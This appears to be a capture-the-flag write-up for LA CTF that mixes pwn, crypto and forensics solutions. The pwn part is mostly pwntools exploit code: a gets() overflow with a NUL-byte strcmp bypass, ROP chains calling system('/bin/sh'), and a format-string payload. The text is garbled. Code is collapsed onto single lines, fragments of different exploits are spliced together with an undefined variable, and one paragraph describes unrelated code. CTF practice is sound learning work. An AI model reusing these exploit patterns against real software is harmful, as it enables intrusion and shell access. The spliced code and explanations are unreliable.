There is an overflow in the gets() function, so if the input is greater than char s1[15], the check() function can be bypassed and the flag can be obtained.
2. bot
gets() has an overflow, and strcmp() has a bug where it stops reading input after a NULL byte. So the question asks you to take the input, then compare it to some string before returning it. All you have to do is write a NULL byte-terminated string, and the write buffer overflows.
1 2 3 4 5 6 7 8 9 10 11
#!/usr/bin/env python3 from pwn import *
p = remote("lac.tf", 31180) p.recv() g = b"may i have the flag?\0" g += b"A"*(64-len(g)) g += b'BBBBBBBB' g += p64(0x40129a) p.sendline(g) p.interactive()
g = fmtstr_g(6, {ret_stack:pop_rdi_ret,ret_stack+8:bin_sh,ret_stack+0x10:system_addr}, write_size='byte') p.sendlineafter("What would you like to post?",pg)
# dbg(src) g='a' p.sendlineafter("Enter some text: ",g)
g=b'b'*0x48+p64(pop_rdi_ret)+p64(0x4040C0)+p64(pop_rsi_r15_ret)+p64(0x403FE8)+p64(0)+p64(0x4010C0)+p64(start_addr) p.sendlineafter("Enter a placeholder: ",g)
index = 0 p.sendlineafter("Enter the index of the stuff to redact: ",str(index))
g=b'b'*0x48+p64(pop_rdi_ret)+p64(bin_sh)+p64(system_addr) p.sendlineafter("Enter a placeholder: ",g) index = 0 p.sendlineafter("Enter the index of the stuff to redact: ",str(index))
p.interactive()
Crypto
1. one-more-time-pad
Just XOR.
1 2 3 4 5 6 7 8 9
from Crypto.Util.number import* pt = b"Long ago, the four nations lived together in harmony ..." ct = 0x200e0d13461a055b4e592b0054543902462d1000042b045f1c407f18581b56194c150c13030f0a5110593606111c3e1f5e305e174571431e ct=long_to_bytes(int(ct))
for i inrange(len(ct)): flag = (pt[i] ^ ct[i]) print(chr(flag),end='') #lactf{b4by_h1t_m3_0ne_m0r3_t1m3}
2. chinese-lazy-theorem-1
Make the modulus greater than the maximum value of the target, which is p*q, to leak the target, and then get the flag according to the target.
This code implements the de-reordering function of a string. It takes user input as a string, converts it to a set, and removes duplicate characters. Then, it sorts the collection, and converts it back to a string. Finally, the code prints out the result using the “print” function. and then with the help of a tool sitehttps://tio.run/#
Carefully observe the encryption source code logic, 150 cycles are performed, and each cycle generates a random number c, which is either the square of the original number, or the product of the square of the original number and 6. So you need to guess whether the number is a square or a multiple of 6.
As shown in the figure above, if both conditions are true, return “1” to the server, otherwise return “0”. Write a script with the help of pwntools.
from pwn import * from sympy.ntheory.primetest import is_square
p = remote('lac.tf', 31190) p.recvline() p.recvline()
C = 0
while C != 150: c = int((p.recvline().decode()).split(" ")[-1]) if c%6 == 0and is_square(c//6): p.sendline(b"1") else: p.sendline(b"0") C += 1 print(C,end="\r") print(p.recv(1024)) print(p.recv(1024))
According to the chinese lazy theorem, if you find target % p and target % q, you can find target % pq, but knowing target % pq is not enough, because the maximum target is p*q*2*3 *5, so try 30 times (target % pq) + i * pq
from pwn import * from sympy.ntheory.modular import crt
with remote("lac.tf", 31111) as r: p = int(r.readline(False)) q = int(r.readline(False)) r.sendline(b"1") r.readuntil(b"Type your modulus here: ") r.sendline(str(p).encode()) x = int(r.readline(False)) r.sendline(b"1") r.readuntil(b"Type your modulus here: ") r.sendline(str(q).encode()) y = int(r.readline(False)) a, b = crt([p,q],[x,y]) r.sendline(b"2") for i inrange(30): r.readuntil(b"Type your guess here: ") r.sendline(str(a+i*b).encode()) print(r.readline())
Flags isthe abbreviation of flag Segment, which is a flag field. It is actually a field inthe IP packet header. Because most ofthe TCP, UDP, andapplication layer protocols are encapsulated in IP packets, you will often see this field when analyzing these protocols. The identification field has 3 bits. Reserved bit: 1 bit, which is a reserved bit and generally not used; Don't fragment: 1 bit, used to indicate whether the data packet is fragmented (Not set means thatthe data packet isnot fragmented); More fragment: 1 bit, used to indicate whether itisthelast fragment (Not set means itisthelast one).
Check the flags field and the Data segment. The data segment has 1 byte of data.
Looking down, in N0.5, the setting of Reserved bit has changed.
Check RFC 3514 official document, if Reserved bit is set to 1 (0x1), it is a malicious packet.
So we only need to filter out the packets whose Reserved bit is 0, set the data and Reserved bit as columns, and set the Reserved bit as 0 as the filter condition, that is, ip.flags.rb == 0, observe The first few discoveries are the hex values of lactf.
Export the filtered UDP flow, open the saved UDP flow packet and track the UDP flow directly.
Below the image see the URL for the JSON API. In the given URL, the first ID ( 1060030874722259057 ) refers to the server, so we put that in the image where the example ID is. This gives us the link.